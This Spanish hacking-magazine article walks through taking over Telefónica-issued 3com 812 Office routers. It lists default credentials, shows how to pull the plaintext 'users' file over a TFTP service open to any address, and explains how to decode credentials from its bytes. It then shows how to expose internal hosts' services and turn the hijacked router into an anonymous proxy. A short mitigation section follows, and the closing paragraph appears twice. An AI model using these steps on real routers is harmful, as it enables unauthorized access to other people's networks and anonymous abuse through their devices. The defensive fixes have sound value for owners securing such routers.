3com 812 Office

Algunos de vosotros recordaréis el inicio de la ADSL, cuando comenzaba a expandirse por todo el país. Esos "fantásticos" routers que nos ponían nuestros amigos de Telefónica, con su preciosa configuración por defecto, nombrada en muchísimos foros de discusión.

published in #93 as Asalto al 3com

Los Comienzos

Bienvenidos a un número más de la revista arroba. En este artículo explicaré un poco alguno de los muchos errores del router 3com 812 office (como supongo que habréis leído ya...) y como usarlos una vez hemos obtenido el control.

Para la gente que no le suene de nada este router, les diré que fue de los primeros que se esparcieron por la red por parte de la archiconocida Telefónica, yo mismo tenía uno hasta hace bien poco. Para configurar el dispositivo, hay dos maneras, la primera (y que a mi personalmente me gusta más) es por "telnet" (puerto 23) y la otra, es la típica de "http" (puerto 80) - imagen1, evidentemente para poder configurar el dispositivo, necesitamos un usuario y un password (ver listado1). Precisamente por ahí empiezan los problemas, y es que no tardaron mucho en difundir el primer gran descuido de configuración de los routers por parte de los supertécnicos de telefónica.

LISTADO 1

(SS)- telnet XX.XX.XX.XX
Trying XX.XX.XX.XX...
Connected to XX.XX.XX.XX.
Escape character is '^]'.
login: 3com
Password: com3
3Com-DSL>

Asi de simple :)

IMAGEN 1

Página principal de la configuración de la configuración del 3com 812 office.

Todos los routers empezaron teniendo unos famosos logins, que supongo que todos recordaréis:
USER: adminttd
PASS: adminttd
Seguro que ahora sí que os suenan a todos verdad ? Aunque parezca mentira, hubo una época, en la que en casi todo 3com había ese usuario y password. Y es que.. no nos engañemos, el ser humano es vago por naturaleza, y la mayoría de la gente no sabe ni que el aparato ese que nos da Internet tiene usuario y password, eso pasa por no echarle una ojeada al manual de instrucciones donde lo pone claramente. Lo ideal hubiera sido pedir cambiarlo en el momento de la instalación (tal y como hacen ahora). Seguro que se hubieran ahorrado muchas de las quejas.

Luego también existen variaciones de ese password (supongo que pensaban que así no pasaría nada...). En el listado2 vemos los arrebatos de originalidad, se ve claramente que no estaban muy inspirados :).

LISTADO 2

  USER    |    PASSWORD
--------------------------
admintde  |   admintde
3com      |   com3
root      |   !root
Veamos ahora un gran error (o descuido) de configuración al cual no encuentro explicación alguna.

TFTP Bug

Pues bien, resulta que además del "telnet" y "http" para configurar el dispositivo, el router también lleva incorporado un pequeño servidor TFTP. Como muchos sabréis el protocolo TFTP viene a ser igual que el FTP excepto que funciona por UDP. El puerto que se usa para la comunicación es el 69.

Por el momento no aparece nada raro, el servidor TFTP esta ahí para actualizar el firmware del dispositivo y cosas así, de lo que se deduce que se tiene acceso a todos los ficheros del router. ¿No debería haber alguna manera de restringir un poco la entrada a este servicio? Pues si, la hay, si abrimos shell en un 3com y escribimos "list tftp clients" saldrá una lista de los clientes a los que se les permite conectar. Supongamos que nuestra IP local es "192.168.0.2", pues aparecería lo siguiente:
3Com-DSL>list tftp clients
TFTP CLIENT ADDRESSES
192.168.000.002
3Com-DSL>
Como vemos, solo se le es permitido el acceso desde nuestra máquina. También existe una manera de referirse a todas las IPs, es decir, aceptar conexiones desde cualquier parte, esa dirección es la '0.0.0.0'. Si alguno de los que leen esto tiene un 3com y nunca lo ha mirado antes, le animo a que mire su "list tftp clients" y vea él mismo, con sus propios ojos, lo que los "expertos" de Telefónica hicieron al configurar su dispositivo. Para los que no puedan verlo con sus propios ojos, aquí os pongo una demostración:
3Com-DSL>list tftp clients
TFTP CLIENT ADDRESSES
000.000.000.000
3Com-DSL>
Os dáis cuenta de lo que esto significa? o no? Si vemos esto en nuestro router, estamos permitiendo a CUALQUIER PERSONA DE ESTE PLANETA subir, bajar e incluso eliminar ficheros de nuestro dispositivo... alguien ve eso normal ? Ahora tal vez nadie le vea la gracia, pero os puedo asegurar que la tiene, y mucha.

Antes de nada, me gustaría deciros que en estos routers, el usuario y password que están asignados se guardan EN TEXTO PLANO en el fichero "users", por lo que cualquiera, como ya dije antes, puede bajarse el fichero si tenemos esa lista de clientes permitidos en el TFTP. Hagamos una prueba:
(SS)- tftp XX.XX.XX.XX 69
tftp> get users
Received 1028 bytes in 0.4 seconds
tftp> quit
Et voilà! Debéis tener en cuenta que al tratarse de un protocolo que no realiza conexión, si el servicio estuviera cerrado, o no tuviéramos permisos para bajarnos el archivo, no nos daríamos cuenta hasta el momento en el que la operación de "get users" se prolongara demasiado:
(SS)- tftp XX.XX.XX.XX 69
tftp> get users
Transfer timed out.
Vísteis? Bueno, pues siguiendo ahora con el fichero que ya tenemos, ¿vamos a abrirlo no? Para hacerlo, yo voy a usar un editor hexadecimal llamado "hexdump", aunque podéis usar un simple vi o notepad (listado3). Podéis distinguir algo interesante? jeje. Sigamos con un poquito de culturilla :).

LISTADO 3

(SS)- hexdump -vC users
00000000  30 30 2e 33 ff ff ff ff  00 00 01 04 ff 1d 06 00  |00.3............|
00000010  00 00 01 1f 06 ff ff ff  ff 55 06 ff ff ff ff 1e  |.........U......|
[...]
00000300  00 00 00 00 ff ff ff ff  ff ff ff ff 27 1b 12 a1  |............'...|
00000310  61 d3 2a e2 12 ad b7 18  0d be b6 22 dd 2f 10 43  |a.*........"./.C|
00000320  06 33 63 6f 6d 44 06 63  6f 6d 33 61 64 6d 69 6e  |.3comD.com3admin|
00000330  74 74 64 00 00 00 00 00  00 00 00 00 00 00 00 00  |ttd.............|
[...]
(SS)-

Estructura del ficheros users

Bueno, espero que todos sepáis lo que es un byte y esas cosas jeje. Vamos al análisis, primero de todo decir que el fichero esta dividido en secciones que empiezan cada centenar (en hexadecimal) de bytes (0x100,0x200,0x300...). Como saber cual nos interesa ? Muy sencillo, solo hay que mirar el byte 0x0d de esa linea. Si en esa posición el byte es 0x1b, entonces estamos en la sección correcta, si no es así, debemos avanzar 0x100 y volverlo a mirar. En nuestro caso en 0x30d se encuentra 0x1b, por lo que ya estamos en la sección correcta.

Ahora veamos donde empieza el password... en la 0x20 mas tarde aproximadamente, verdad ? Pues este es otro dato interesante, si 0x1b esta en 0x300, entonces el password estará en 0x320, en cambio si 0x1b se encuentra en 0x400, el password también se encontrara desplazado, es decir a 0x420.

Bien, ahora ya tenemos donde empieza el login y password, pero realmente sabemos dónde terminan ? Por ejemplo en nuestro caso, sale algo así:
"3comD.com3adminttd"
Como sabemos donde empiezan y terminan el usuario y password? Tranquilos que para esto también hay una explicación. Fijémonos en el primer byte de 0x320 que número hay? 0x06 no? Pues fijaos que curioso es esto, resulta que si le restas 2, te da el número de caracteres del usuario. En nuestro caso el número es 0x06 y el usuario "3com" (que lo sabíamos de antes), entonces hacemos 6-2=4, que son el número de caracteres de "3com".

Vayamos ahora a por el password, después de ver muchos "users", ves que después del usuario siempre viene un carácter "D" ( 'd' mayúscula), que simplemente nos lo vamos a saltar, jeje. Leamos pues el siguiente byte, qué número hay ? Pues sí, otro 0x06. Lógico, no creéis? Como sabemos que el password es "com3", es de lógica que el byte tenga valor 0x06, ya que 6-2=4 es, al igual que el usuario, el número de carácteres del password. Por lo que podemos descartar cualquier tipo de confusión con el "adminttd" que está concatenado a este.

Fijaros la de cosas que se pueden sacar de un simple fichero de configuración, teniendo en cuenta, que a primera vista parece ilegible. Daros cuenta que, con lo que os he comentado aquí, podéis automatizar la extracción de los usuarios y passwords a partir de un fichero "users", eso lo dejo ya para cada uno ;)

Usos del famoso dispositivo

Hasta ahora todo lo que hemos visto son errores aprovechables para conseguir entrar al router, o conseguir la información necesaria para hacerlo, en realidad hay muchísimos bugs más, pero el del tftp es el que veo mas gracioso. Eso sí, una vez tenemos acceso al router, qué podemos hacer con él? Veamos algunas utilidades interesantes.

Redireccionar puertos del Interior al Exterior

Evidentemente podemos usarlo para redireccionar puertos del interior de la red al exterior, lo cual puede ser muy divertido, ya que el usuario y password del servicio de la red interna, podrían ser iguales a los del 3com. Eso solo será posible si el password ha sido modificado, nadie pondrá de user "adminttd" a su sistema operativo no? jeje.

Pero además de esto, también se pueden redireccionar al exterior servicios vulnerables a ataques. Pensad que hay mucha gente que tiene instaladas versiones muy viejas de programas y servicios. Aunque en teoría eso no debería ser importante, porque tienen el router delante que bloquea cualquier tipo de conexión desde el exterior, nosotros podemos cambiarlo y hacer accesibles servicios que antes no lo eran. Veamos pues como abrir un puerto.

LISTADO 4

3Com-DSL>list vc

VIRTUAL CHANNELS

Name                Encapsulation   Type   VPI   VCI   Status
default             PPP             PVC    0     0     INACTIVE
internet            RFC_1483        PVC    8     32    ENABLED
3Com-DSL>add nat tcp vc internet private_port 22 public_port 223 private_address 192.168.0.2
3Com-DSL>save all
Primero deberíamos saber que configuración es la que tenemos activada, para ello primero las listamos todas y vemos cual está "ENABLED" (activada). En el listado4 vemos una sesión completa para abrir un puerto. Una vez ya sabemos cual es la que está activa, solo hace falta redireccionar el puerto, para ello usamos la sintaxis siguiente:
add nat tcp vc <vc_activo> private_port <puerto_del_host> private_address <direcion_del_host> public_port <puerto_del_router_donde_redirigimos>
Nota Si el comando no funcionara, seguramente es porque el firmware es el 2.X, entonces deberíamos poner "pat" envez de "nat", a parte de eso no hay mas cambios.
En el ejemplo, hemos redireccionado el puerto 22 (ssh) de 192.168.0.2 (ip interna) al puerto 223 del router. De esta manera, si hacemos un ssh -p 223 <IP>, estaremos abriendo una sesión ssh con el host 192.168.0.2 de la red.

Fijaos en el detalle que el puerto del host no tiene porque ser el mismo que el que abrimos en el router.

Configurando como Proxy

Esta segunda utilidad que os mostraré, se deriva de la anterior. Vamos a razonar un poco. Ya sabemos redireccionar puertos, verdad? Pues porque no vamos un poco mas allá... Que pasaría si, a la hora de abrir un puerto, en lugar de especificar una IP interna, especificamos, por ejemplo, la ip de un servidor irc ? Nos dejaría redireccionar el tráfico ? La respuesta es que no, pero no es porque no se pueda, si no porque no tenemos configurado el dispositivo para que nos permita hacerlo. Veamos como configurarlo para tal propósito.

Si intentamos redireccionar los puertos a un server fuera de la red local, aunque nos dejara poner el comando, luego no funcionaría correctamente. Así que debemos activar algunas opciones con el comando 'enable', veamos que ocurre si lo ejecutamos:
3Com-DSL>enable
CLI - Missing Required Argument(s):

This field is a KEYWORD. The possible values are:
ACCESS_LIST              IPX                      TELNET
BRIDGE                   LAN                      USER
COMMAND                  LINK_TRAPS               VC
DNS                      NETWORK
INTERFACE                SECURITY_OPTION
IP                       SNMP
3Com-DSL>
Como vemos nos suelta un error diciendo que le faltan argumentos, normal. Pero ahora fijaos en las distintas categorías a las que tenemos acceso. Pensad, qué queremos hacer? Configurar el router para que permita redireccionar a puertos a servers externos mediante protocolo ip, pues bien, veamos que opciones se esconden detrás de la categoría ip:
3Com-DSL>enable ip
CLI - Missing Required Argument(s):

This field is a KEYWORD. The possible values are:
FORWARDING               ROUTING
NETWORK                  STATIC_REMOTE_ROUTES
RIP                      WAN_TO_WAN_FORWARDING
3Com-DSL>
Mmm... que vemos aquí? Un par de variables interesantes 'WAN_TO_WAN_FORWARDING' y 'FORWARDING', que sirven exactamente para lo que nosotros queremos, permitir el 'FORWARDING' (dejar pasar) para conexiones 'WAN to WAN' (de Internet a Internet). Dicho esto, las activamos:
3Com-DSL>enable ip WAN_TO_WAN_FORWARDING
3Com-DSL>enable ip FORWARDING
Luego tampoco estaría de mas, activar (o reactivar) algún soporte más como 'ROUTING' y 'STATIC_REMOTE_ROUTES' para activar el enrutamiento estático al exterior y el enrutamiento en si.
3Com-DSL>enable ip ROUTING
3Com-DSL>enable ip STATIC_REMOTE_ROUTES
Ahora que ya lo tenemos todo configurado, vamos a hacer el enrutamiento hacia el server IRC.... mmm, por ejemplo dune.irc-hispano.org. Para ello, primero debemos saber la IP.
(SS)- nslookup dune.irc-hispano.org
[...]
Non-authoritative answer:
Name:   dune.irc-hispano.org
Address: 212.59.199.130
Muy bien, ahora que ya sabemos la IP vamos a agregar nuestro enrutamiento, para ello he escogido el puerto 81, así que usando la sintaxis nombrada anteriormente añadimos nuestro enrutamiento:
 3Com-DSL>add nat tcp vc internet private_address 212.59.199.130 private_port 6667 public_port 81
 
Ahora ya sí hemos terminado, así que vamos a guardar los cambios y a comprobar que funciona:
3Com-DSL>save all
All saved!
Perfecto! Vamos a ver si realmente funciona. Vamos a probarlo usando el BitchX, un cliente irc de consola altamente configurable y que va perfecto:
(SS)- BitchX -p 81 XXX.YYY.27.14
Ahora mirad en al imagen2 como realmente hemos podido conectar de una manera anónima al server deseado ;).

CUADRO 1 - Comandos Interesantes

telnet <ip> tcp_port <puerto> - establece una conexion tcp a la ip y puerto especificados.
rlogin <ip> - hace una conexion por el puerto rlogin (conexion de confianza)
ping <ip> - no necesita explicacion alguna no?
reboot - resetea el router.
Update - especificando los parametros adecuados, updatea el firmware hasta la utilma version por ftp
add/del - sirven para añadir y borrar opciones y caracteriticas de la configuracion
list - sirve para listar las opciones o caracteristicas del argumento especificados
show - es parecido a list solo que muestra con mucho mas detall, probar un 'show vc <uno_activo>'

IMAGEN 2

BitchX arrancando usando el 3com 812 como proxy-server.

Soluciones

Bueno, hasta aquí hemos visto como conseguir el usuario y password, y algunas utilidades del 3com 812, en realidad hay infinitas mas, pero todas parten de estas. Luego decir que en el cuadro1 tenéis unos cuantos comandos interesantes de los 3com. Como hemos visto, todo el problema se reduce en nada si hemos cambiado el password, y hemos cerrado el servidor TFTP, pero como hacerlo? Bien sencillo, para cambiar el password, basta con la siguiente sentencia:
3Com-DSL>set user <USUARIO> password <NUEVO_PASSWORD>
Claro que si envez de cambiar sólo el password, queremos añadir un nuevo usuario con su correspondiente password, debemos usar los siguientes 2 comandos:
# Primero creamos el nuevo usuario:
3Com-DSL>add user <NUEVO_USUARIO> password <NUEVO_PASSWORD>
# Luego borramos el usuario viejo:
3Com-DSL>del user <USUARIO_VIEJO>
Hasta aquí el tema de usuarios y passwords, vayamos ahora a por el tema del servidor TFTP, si ejecutamos el comando 'list tftp client' veremos una lista de los clientes de los que aceptamos conexión, el bug se produce si en esa lista aparece '0.0.0.0', entonces lo único que debemos hacer es borrar esa IP de la lista, para hacerlo es tan simple como ejecutar el siguiente comando:
3Com-DSL>del tftp client 0.0.0.0
Si lo que queremos es borrar otra IP, solo debemos sustituir 0.0.0.0 por la IP elegida. De manera análoga añadimos una IP como cliente:
3Com-DSL>add tftp client 192.168.0.2
De esta manera hemos añadido una IP interna, de manera que desde fuera de la red, no les será posible acceder al servicio. Esas pequeñas configuraciones, junto con mantener el firmware a la ultima versión, debería bastar para tener una sensación de seguridad.

Final

Pues hasta aquí el articulo de los 3com 812 Office, primero de todo dar las gracias al amigo Marcansoft, con el que empecé a mirarme este tema de los 3com, y que sin su ayuda, no habría aprendido ni la mitad de lo que se de ellos. Evidentemente no pueden faltar unos cordiales saludos a los técnicos 'expertos' de Telefónica, sin sus 'descuidos' no podría haver hecho este artículo.

IMAGEN 3

Página principal de DisidentS

Pues hasta aquí el artículo de los 3com 812 Office, primero de todo dar las gracias al amigo Marcansoft, con el que empecé a mirarme este tema de los 3com, y que sin su ayuda, no habría aprendido ni la mitad de lo que sé de ellos. Evidentemente no pueden faltar unos cordiales saludos a los técnicos 'expertos' de Telefónica, sin sus 'descuidos' no podría haber hecho este articulo. Y por si alguno esta leyendolo, por favor, enviadme un mail diciéndome para qué diantre queríais dejar el servidor TFTP abierto para todo el mundo, llevo tiempo intentándolo entender, pero no hay manera, no encuentro explicación alguna.

Finalmente, deciros que en nuestra web (www.disidents.com - imagen3), en los apartados de cod3x y tools, podéis encontrar algunas utilidades interesantes de los 3com. No penséis que porque estos routers los dieran hace tiempo la gente ya no los tiene porque no es así. Os puedo asegurar que aun quedan por lo menos 4000 de estos, lo cual no implica que todos sean vulnerables por el bug de TFTP, pero como ya he dicho al principio, hay muchos más. Si queréis saberlos, os diré lo de siempre. Leed y Aprended, solo así sabréis mas.

EOF